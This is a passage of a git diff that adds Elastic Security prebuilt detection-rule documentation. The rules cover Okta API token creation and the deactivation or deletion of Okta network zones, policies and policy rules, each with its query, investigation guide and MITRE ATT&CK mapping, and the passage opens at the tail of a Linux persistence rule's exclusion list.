"/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/netplan/generate", + "/usr/local/bin/apt-get", "/usr/bin/apt-get", "./usr/bin/podman", "/usr/bin/buildah", "/.envbuilder/bin/envbuilder", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/pvedaemon", "/usr/bin/percona-release", "/usr/bin/crio" + ) or + file.path :("/etc/apt/apt.conf.d/*.tmp*") or + file.extension in ("swp", "swpx", "swx", "dpkg-remove", "dpkg-new") or + file.Ext.original.extension == "dpkg-new" or + file.Ext.original.name == ".source" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/etc/kernel/*", "/opt/saltstack/salt/bin/python*" + ) or + process.executable == null or + process.name in ("pveupdate", "perl", "executor", "crio", "docker-init", "dockerd", "pvedaemon") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + /* adding known file paths to reduce false positives */ + file.path in ( + "/etc/apt/apt.conf.d/50unattended-upgrades", + "/etc/apt/apt.conf.d/02autoremove-postgresql", + "/etc/apt/apt.conf.d/99rain-noautoupgrades", + "/etc/apt/apt.conf.d/99no-check-valid-until", + "/etc/apt/apt.conf.d/50isar-apt", + "/etc/apt/apt.conf.d/99gitlab-ci-cache", + "/etc/apt/apt.conf.d/50unattended-upgrades.ucf-dist", + "/etc/apt/apt.conf.d/01autoremove-kernels", + "/etc/apt/apt.conf.d/01autoremove", + "/etc/apt/apt.conf.d/95proxies", + "/etc/apt/apt.conf.d/99-noninteractive" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-create-okta-api-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-create-okta-api-token.asciidoc new file mode 100644 index 0000000000..9755ca20fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-create-okta-api-token.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-attempt-to-create-okta-api-token]] +=== Attempt to Create Okta API Token + +Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute techniques such as creating user accounts or disabling security rules or policies. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Create Okta API Token* + + +Okta API tokens are crucial for automating and managing identity and access tasks within an organization. However, if compromised, these tokens can be exploited by adversaries to gain persistent access, manipulate user accounts, or alter security settings. The detection rule identifies suspicious token creation activities by monitoring specific Okta system events, helping to thwart unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:system.api_token.create to identify the specific instance of API token creation. +- Identify the user account associated with the token creation event to determine if the action aligns with their typical behavior or role within the organization. +- Check the timestamp of the event to correlate with other security events or anomalies that occurred around the same time. +- Investigate the IP address and location from which the API token creation request originated to assess if it matches the user's usual access patterns. +- Examine any recent changes to user accounts or security settings that may have been executed using the newly created API token. +- Review the organization's policy on API token creation to ensure compliance and determine if the action was authorized. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when legitimate IT staff create API tokens for automation or integration purposes. To manage this, maintain a list of authorized personnel and their expected activities, and create exceptions for these known users. +- Scheduled system maintenance or updates might involve creating API tokens, leading to false positives. Document these events and adjust the monitoring window or create temporary exceptions during these periods. +- Third-party integrations that require API tokens for functionality can also trigger alerts. Identify and whitelist these integrations by verifying their necessity and security compliance. +- Development and testing environments often involve frequent token creation for testing purposes. Exclude these environments from the rule or set up separate monitoring with adjusted thresholds to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke the suspicious Okta API token to prevent any unauthorized access or actions within the organization's network. +- Conduct a thorough review of recent activities associated with the compromised token to identify any unauthorized changes or access attempts. +- Reset credentials and enforce multi-factor authentication for any accounts that were accessed or potentially compromised using the API token. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordination for further investigation and response. +- Implement additional monitoring on Okta API token creation events to detect and respond to any further unauthorized attempts promptly. +- Review and update access controls and permissions related to API token creation to ensure they align with the principle of least privilege. +- Escalate the incident to senior security management if there is evidence of broader compromise or if the threat actor's objectives are unclear. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:system.api_token.create + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..0238d9a0ef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-network-zone.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-network-zone]] +=== Attempt to Deactivate an Okta Network Zone + +Detects attempts to deactivate an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Network Zone* + + +The Okta network zones can be configured to restrict or limit access to a network based on IP addresses or geolocations. Deactivating a network zone in Okta may remove or weaken the security controls of an organization, which might be an indicator of an adversary's attempt to evade defenses. + + +*Possible investigation steps* + + +- Identify the actor related to the alert by reviewing the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Examine the `event.action` field to confirm the deactivation of a network zone. +- Check the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` to identify the network zone that was deactivated. +- Investigate the `event.time` field to understand when the event happened. +- Review the actor's activities before and after the event to understand the context of this event. + + +*False positive analysis* + + +- Check the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. If these match the actor's normal behavior, it might be a false positive. +- Check if the actor is a known administrator or part of the IT team who might have a legitimate reason to deactivate a network zone. +- Verify the actor's actions with any known planned changes or maintenance activities. + + +*Response and remediation* + + +- If unauthorized access or actions are confirmed, immediately lock the affected actor account and require a password change. +- Re-enable the deactivated network zone if it was deactivated without authorization. +- Review and update the privileges of the actor who initiated the deactivation. +- Check the security policies and procedures to identify any gaps and update them as necessary. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. +- Communicate and train the employees about the importance of following proper procedures for modifying network zone settings. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:zone.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..6494d9d458 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy-rule.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy-rule]] +=== Attempt to Deactivate an Okta Policy Rule + +Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an Okta policy in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Policy Rule* + + +Identity and Access Management (IAM) systems like Okta serve as the first line of defense for an organization's network, and are often targeted by adversaries. By disabling security rules, adversaries can circumvent multi-factor authentication, access controls, or other protective measures enforced by these policies, enabling unauthorized access, privilege escalation, or other malicious activities. + +This rule detects attempts to deactivate a rule within an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. A threat actor may do this to remove barriers to their activities or enable future attacks. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deactivation attempt. +- Check the `okta.outcome.result` field to confirm the policy rule deactivation attempt. +- Check if there are multiple policy rule deactivation attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy rule deactivation attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deactivation attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deactivation attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deactivation attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy rule deactivation is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deactivation technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:policy.rule.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy.asciidoc new file mode 100644 index 0000000000..4fcd8e1326 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy]] +=== Attempt to Deactivate an Okta Policy + +Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Deactivate an Okta Policy* + + +Okta policies define rules to manage user access to resources. Policies such as multi-factor authentication (MFA) are critical for enforcing strong security measures. Deactivation of an Okta policy could potentially weaken the security posture, allowing for unauthorized access or facilitating other malicious activities. + +This rule is designed to detect attempts to deactivate an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. For example, disabling an MFA policy could lower the security of user authentication processes. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deactivation attempt. +- Check the `okta.outcome.result` field to confirm the policy deactivation attempt. +- Check if there are multiple policy deactivation attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy deactivation attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deactivation attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deactivation attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deactivation attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy deactivation is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deactivation technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:policy.lifecycle.deactivate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..61b5f5c851 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy-rule.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy-rule]] +=== Attempt to Delete an Okta Policy Rule + +Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order to weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Policy Rule* + + +Okta policy rules are integral components of an organization's security controls, as they define how user access to resources is managed. Deletion of a rule within an Okta policy could potentially weaken the organization's security posture, allowing for unauthorized access or facilitating other malicious activities. + +This rule detects attempts to delete an Okta policy rule, which could indicate an adversary's attempt to weaken an organization's security controls. Adversaries may do this to circumvent security measures and enable further malicious activities. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deletion attempt. +- Check the `okta.outcome.result` field to confirm the policy rule deletion attempt. +- Check if there are multiple policy rule deletion attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy rule deletion attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deletion attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deletion attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deletion attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy rule deletion is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deletion technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:policy.rule.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy.asciidoc new file mode 100644 index 0000000000..0a723fd66a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy]] +=== Attempt to Delete an Okta Policy + +Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Delete an Okta Policy* + + +Okta policies are critical to managing user access and enforcing security controls within an organization. The deletion of an Okta policy could drastically weaken an organization's security posture by allowing unrestricted access or facilitating other malicious activities. + +This rule detects attempts to delete an Okta policy, which could be indicative of an adversary's attempt to weaken an organization's security controls. Adversaries may do this to bypass security barriers and enable further malicious activities. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the deletion attempt. +- Check the `okta.outcome.result` field to confirm the policy deletion attempt. +- Check if there are multiple policy deletion attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the policy deletion attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the deletion attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the deletion attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the deletion attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized policy deletion is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific deletion technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:policy.lifecycle.delete + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify 